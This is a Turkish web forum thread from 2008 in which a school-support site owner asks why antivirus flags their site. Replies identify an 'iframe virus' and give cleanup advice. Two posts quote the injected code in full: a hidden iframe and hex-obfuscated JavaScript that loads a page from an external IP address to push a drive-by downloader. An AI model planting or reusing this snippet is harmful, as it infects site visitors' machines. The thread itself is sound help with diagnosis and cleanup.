Sitemde Trojen Var :S

01-02-2008, 11:56:13

Arkadaşlar Siteme Girince Antivirüs Uyarı Veriyor Trojen Sanırsam Bu Nasıl Oluştu Anlamadım :S Yardımlarınızı Bekliyorum.

Site : . : : Atatürk Anadolu Teknik , Teknik ve Endüstri Meslek Lisesi Öğrenci Destek Sitesidir : : . -

Caps :

01-02-2008, 11:58:55

#2

TrueLove

Alttaki koddan olabilir mi?

 <iframe src='http://url' width='1' height='1' style='visibility: hidden;'></iframe><script>function v479aad40661eb(v479aad40669e0){ function v479aad40671d8 () {return 16;} return(parseInt(v479aad40669e0,v479aad40671d8()));}function v479aad4067dcc(v479aad40681d2){ function v479aad4068dbc () {return 2;} var v479aad40685c3='';for(v479aad40689bf=0; v479aad40689bf<v479aad40681d2.length; v479aad40689bf+=v479aad4068dbc()){ v479aad40685c3+=(String.fromCharCode(v479aad40661eb(v479aad40681d2.substr(v479aad40689bf, v479aad4068dbc()))));}return v479aad40685c3;} document.write(v479aad4067dcc('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D393661363961633661363866207372633D5C27687474703A2F2F37372E3232312E3133332E3138382F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3133393434292B27616231645C272077696474683D3833206865696768743D313638207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>

01-02-2008, 12:00:47

#3

EliKaPs

TrueLove adlı üyeden alıntı: mesajı görüntüle

Alttaki koddan olabilir mi?

 <iframe src='http://url' width='1' height='1' style='visibility: hidden;'></iframe><script>function v479aad40661eb(v479aad40669e0){ function v479aad40671d8 () {return 16;} return(parseInt(v479aad40669e0,v479aad40671d8()));}function v479aad4067dcc(v479aad40681d2){ function v479aad4068dbc () {return 2;} var v479aad40685c3='';for(v479aad40689bf=0; v479aad40689bf<v479aad40681d2.length; v479aad40689bf+=v479aad4068dbc()){ v479aad40685c3+=(String.fromCharCode(v479aad40661eb(v479aad40681d2.substr(v479aad40689bf, v479aad4068dbc()))));}return v479aad40685c3;} document.write(v479aad4067dcc('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D393661363961633661363866207372633D5C27687474703A2F2F37372E3232312E3133332E3138382F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3133393434292B27616231645C272077696474683D3833206865696768743D313638207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>

Baktım Ama Kodu Bulamıyorum :S Kendimde Eklemedim

01-02-2008, 12:05:12

#4

Cioo

EliKaPs adlı üyeden alıntı: mesajı görüntüle

Baktım Ama Kodu Bulamıyorum :S Kendimde Eklemedim

O kodu bul,sil büyük ihtimalle pcne virüs girmiş ve otomotik eklemiştir.Adaware türü spy programıylada tarat pcyii.

01-02-2008, 12:40:40

#5

Yasin21

EliKaPs adlı üyeden alıntı: mesajı görüntüle

Baktım Ama Kodu Bulamıyorum :S Kendimde Eklemedim

otomatik olarak eklenmiş olarabilir... CTRL + F ile bul sil

01-02-2008, 13:03:49

#6

~~CTDeadbone~~

Üyeliği durduruldu

daha çok index.php login.php index.html gibi dosyalara ekleniyo en alttadır.

01-02-2008, 13:14:58

#7

yasarkemaldag

sitenizin dosyalarını temizleri ile değiştirin düzelir.

bildiğimiz iframe virüsü bu.

01-02-2008, 13:19:07

#8

CashAsiq

Eposta Aktivasyonu Gerekmekte

1- Bu Kod Nedir = Bir Cesit Downloader internet explorer 5.0 ve bazi tarayicilarda
calisir.
2-Ne is Yapar = İstenilen Dosyayi (Ozellikler Server Exeleri) Sistemde Calistirir.

Keylogger Ozelligi Gorur bilgilerini Calar En Kotusu Olanida Pcni Zombie Donusturebilir Yani bir cesit botnet Ayaklarindan Biri Olursun

3- Nasi Kurtulucam = Server Loglarina Bak + pc nİ Avg yahut NOD32 tAM olarak guncelleştirilmis halleri ile tarat . farklı pc den ftp paslarini mail paslarini vs değiş. ( bana sorarsan direk format at).

4-Eğer PcnDe Bankacilik İslemleri Yapiyorsan SOn Yapilan islemleri takip altina aldir

5- Format attiktan sonra pc ne opera yahut mozilla + no script addonu yukle

6- Windows Guncelleştirmelerine Cok Dikkat Et

7-Server Guvenlinin iyi olduna servera girip direk server uzerinden bu kodun yerleştirilmedini anladin zaman da sorun cozulecektir.

8- İnternet explorer Kullanma

01-02-2008, 17:20:24

#9

EliKaPs

Yardımlarınız İçin Sağolun Server'ı Tarattırıyım

Şuan Bende Sorun Gözükmüyor Pc'yi Güncelleyip , Tarattım.